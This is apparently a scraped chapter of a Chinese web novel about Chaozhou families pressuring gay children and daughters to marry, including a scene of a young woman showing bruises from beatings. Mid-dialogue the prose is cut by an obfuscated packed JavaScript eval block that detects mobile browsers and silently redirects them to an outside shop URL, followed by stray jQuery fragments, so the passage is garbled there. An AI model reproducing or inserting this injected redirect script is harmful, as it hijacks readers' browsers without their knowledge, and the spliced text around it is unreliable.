已经是凌晨快四点了，陈家老宅的书房灯还倔强地亮着，在一片沉睡的潮汕老厝中像黑夜里唯一醒着的指引灯。


    陈伟杰面前的黄铜烟灰缸里，早就横七竖八插了好几个烟头。


    他抬手揉了揉太阳穴，手腕上还套着医院那种住院手环，松垮垮的。袖口不知道什么时候蹭到了一块碘酒，这会儿已经干成了深褐色。


    窗外的玉兰树沙沙作响，把消毒水的气味搅得更浓了些。


    “趁热喝。”陈婉琼推门进来，手里的描金参汤盅放在桌面上。


    她一眼就看见丈夫的拇指正反复摩挲着文件签名栏那块空白，指甲边缘都磨得发白了。


    旁边那支狼毫笔，笔尖早就干裂，硬邦邦的。


    汤盅腾起的热气模糊了妻子的眼睛，她声音发颤：“真要让他……”


    她声音抖得厉害，后半句淹没在参汤苦涩的香气里。


    陈伟杰转头望向窗外。月光正漫过祠堂的琉璃瓦，在屋脊兽上淌出一道银亮的线。


    他忽然伸手“啪”地按灭台灯，黑暗里只剩下他指间烟头的红光，一明一暗，像挣扎的心跳。


    “总比族谱上写过继强。”他的声音在黑暗里显得特别沉。


    陈婉琼摘下老花镜，用衣角慢慢擦拭。这个动作她今晚不知道重复了多少遍。


    “这事瞒不住的，”她望着玻璃上两人模糊的影子，“族老们早晚会知道，到时候怎么办？”


    指间的香烟爆出个细小的火花。


    陈伟杰恍惚想起二十多年前产房里的情景。


    护士托着那个浑身皱红的小肉团，还没他巴掌大。他当时脱口而出的“怎么这么丑”，换来老父亲当头一记栗暴。


    可那个丑巴巴的小东西，后来长成了会趴在祠堂门槛上，仰着糯米团子似的小脸问他“阿爸，木雕上的鱼儿为什么不会游”的仔。


    说到底，问题也出在他们自己身上。要是身体争气点，能多生一个两个，也不至于把所有的指望、所有的担子，都压在这一个孩子身上。


    可他们夫妻俩的身体，这些年是越来越不行了。


    “当年我们拜遍了满天神佛才得了这个孩子，就盼着他一生平安喜乐……”烟灰终于不堪重负地断裂，不偏不倚落在文件上“过继”两个字上，“以后……让他去别的城市发展吧。”


    陈婉琼的哽咽闷在参汤的热气里，化不开。


    在陈声和出生前，他们夫妻俩不知寻了多少偏方，喝了多少苦药，拜遍了潮汕乃至泰国大大小小的庙宇庵堂，才终于盼来了这么一个孩子。


    那时节，他们整日提心吊胆，所求所愿，翻来覆去也不过是最朴素的一句：“不求他大富大贵，出人头地，只盼着这孩子能无病无灾，平安健康地长大，就好。”


    可不知从什么时候起，或许是随着陈声和一年年长高，父母的这份初心，也无声无息地变了味道。


    他们开始在意成绩单上的排名，挑剔他交往的朋友，更早早为他规划好了婚姻与事业的轨迹。


    那些曾经“只要健康快乐就好”的祈祷，逐渐被“我们都是为你好”的沉重爱意所取代，推着他，逼着他，必须走上那条他们认定的、最“正确”的路。


    可这个世界上，哪有什么是唯一“正确”的路呢？


    若真有，为何老天爷要造出千百种不同的性格。


    让有的人像李霄川，一身傲骨，宁折不弯，在布满荆棘和传统路上走得鲜血淋漓也甘之如饴。


    又让有的人像他陈声和，生着副温顺皮囊，却偏长了身反骨，只能在镜头后捕捉真实，却在无声处掀起巨浪。


    他们一个在台上燃烧自己，诠释至情至性，一个在取景框后凝视万物，记录爱恨踪迹，本就是两条截然不同的轨迹。


    若非那点不灭的情愫硬生生将命运扭在一起，或许此生都不会有交集。


    规定的，或许是路的起点与边界。


    但路上每一个脚印的深浅，每一次转弯的选择，都是性格这只手，推着每个人走出属于自己的那条痕。


    或深或浅，或曲或直，都作数。


    ……


    父亲出院后，恢复得还算稳定。


    陈声和便准备回剧组了。


    大夫说，他这病是长年累月应酬喝酒，心脏年轻就不太好，加上年纪上来，根本经不起折腾。


    说白了，就是他的身体、他的生意，还有陈声和这不结婚的儿子，所有压力堆在一起，终于撑不住了。


    川剧院的拍摄虽然已经收尾，但华央那边还有工作要报备，年底的宣发周期紧，纪录片后期也需要盯。


    这天下午，他正准备去医院拿药，刚推开门，就看见黄嘉雯站在院子里的老榕树下。


    “声和。”她喊了他一声，“我们能聊聊吗？”


    陈声和愣了一下。


    黄嘉雯的气色很差，嘴唇发白，眼下发青，像是刚生过一场大病。她穿了件高领毛衣，袖口严严实实地遮住手腕，可手指关节处隐约能看见瘀痕。


    他下意识回头看了眼书房的方向，父亲应该还在午睡。


    “走吧，”他低声说，“出去谈。”


    俩人一路去了咖啡厅，选了最角落的位置坐下，今天阳光不错，可黄嘉雯的手一直在抖。


    两杯美式摆在桌上，谁都没动。


    直到服务生过来问要不要续杯，陈声和才开口。


    “嘉雯，”他看着对面这个快要碎掉的女孩，“这个忙，我帮不了。”


    黄嘉雯的睫毛颤了颤，没说话。


    “我不能这样做。”他又重复了一遍。


    黄嘉雯却忽然抬手掀起了自己的泡泡袖。她的手臂上全是淤青，有些已经泛紫，应该是被什么东西抽打的痕迹。


    新伤叠着旧伤，触目惊心。


    陈声和脸色变了变，张了张嘴，最终说了句：“你为什么不出国？”


    黄嘉雯扯了扯嘴角，眼泪却先掉了下来。


    “那你呢？”她反问陈声和，“你为什么不回潮汕？”


    陈声和端起咖啡喝了一口，太苦了，苦得他舌尖发麻。


    就像他和黄嘉雯这操蛋的人生一样。


    起初陈声和不知道，直到他坦白自己性取向，告诉她，不能和她结婚，黄嘉雯才向他坦白。


    黄嘉雯也有个女朋友，但她比自己还难，因为另外一个女孩，也是潮汕的。


    两家的父母原本都在撮合他们，门当户对，知根知底。黄嘉雯甚至想过和他形婚，各过各的，只要给长辈一个交代就行。


    可陈声和拒绝了黄嘉雯的合作，他做不到和不爱的人结婚，更做不到利用她生个孩子向父母交代。


    哪怕黄嘉雯提出很多条件，他也不愿意，他不能背叛李霄川，更不能耽误人女孩，这是底线。


    “我现在……真的只能求你了。”黄嘉雯的嗓子哑得厉害，手指绞紧了袖口，“我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007020|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妈说，如果年底前不订婚，她就……”


    她的话没说完，但陈声和听懂了。


    那些新旧交错的伤是怎么来的，他比谁都清楚。


    这些年，为了催婚，家里闹得鸡飞狗跳，亲人都快成了仇人。


    可在那些长辈眼里，他们从不觉得自己的方式有什么问题，他们只会觉得脸上无光，觉得家里有个年纪大了还嫁不出去的女儿，走在村里都要被人戳脊梁骨。


    “女人嘛，终归是要结婚生子的。”


    这话他听得耳朵都快起茧了。


    在一些人眼里，女人的价值，仿佛都得拴在“嫁人生子”这四个字上才算数。


    除此之外的活法，再好也都是歪门邪道。


    更别提任何跳出传统的即兴发挥，在他们看来都是不被允许的。


    遇上明事理的父母，或许还能坐下来，好好说上几句话。可若是碰上那些不理智的，什么沟通、什么理解，全是白搭。


    他们解决问题的方式就只剩下破口大骂，甚至动手。


    在他们根深蒂固的观念里，孩子是自己身上掉下来的肉，是自己生养的，那么打你骂你，就是天经地义的事。


    不管你是十岁，二十岁，还是三十岁，在那一瞬间，你永远只是他们眼中一个不听话，需要被“管教”的附属品。


    那高高扬起的手，那不堪入耳的辱骂，劈头盖脸地落下来，打掉的何止是尊严，更是那份血浓于水的亲情。


    有时候陈声和会想，为什么他们偏偏生在这样一个地方……神明香火不断，可活人却要跪着求生。


    “你可以出国。”他轻声说，“留学，工作，以后定居海外……你家有男孩，有些压力，本就不该你来扛。”


    “我走了，她走不了。”她摇摇头低声说，“她妈妈病了……又是单亲家庭。”


    那天，他们聊了很久。


    黄嘉雯断断续续地讲，关于她的女友，关于家里的逼迫，关于那些藏在祠堂香火下的绝望。


    说到后来声音都是飘的，像倒着一袋散了线的旧毛衣。


    “老陈，你说……”她把脸埋在一个小小的抱枕上，声音闷闷的，“全国像我这样被家里催着赶着往婚姻里推的姑娘，得有多少啊？”


    她没等陈声和回答，自顾自往下说，话越说越急，像是憋了太久。


    “有时候我觉得他们根本不是为了我们好。什么幸福不幸福的，他们不懂，也不在乎。他们在乎的是什么？是脸面。”


    是出门碰见邻居，能被问“你闺女还没嫁啊？”的时候，能立刻甩出一个“快了快了，对象有车有房”的底气。


    是孩子们过得好不好吗？


    不是。


    是儿女看起来，符不符合他们心里那套“正常人”的标准。


    她抬起脸，眼角有点红，却扯出一个讽刺的笑：“自己日子过得鸡飞狗跳，柴米油盐搅得一团糟，却非得看着下一代也跳进同一个坑，心里才舒坦，才平衡，是不是？”


    女儿要是真找了个好的，他们就说，“哎哟，命好的呀，攀上高枝了。”


    好像你所有的努力、你这个人本身的优秀，都不值一提，只是运气好，只是恰好符合男方挑选媳妇的标准。


    可要是你过得不如意呢？


    他们的话头立马就变了，瞎婆娘拉长线，一针拉到阿根廷，“看吧，当初就说那家不行！”全然忘了当初逼着你点头的，也是这群人。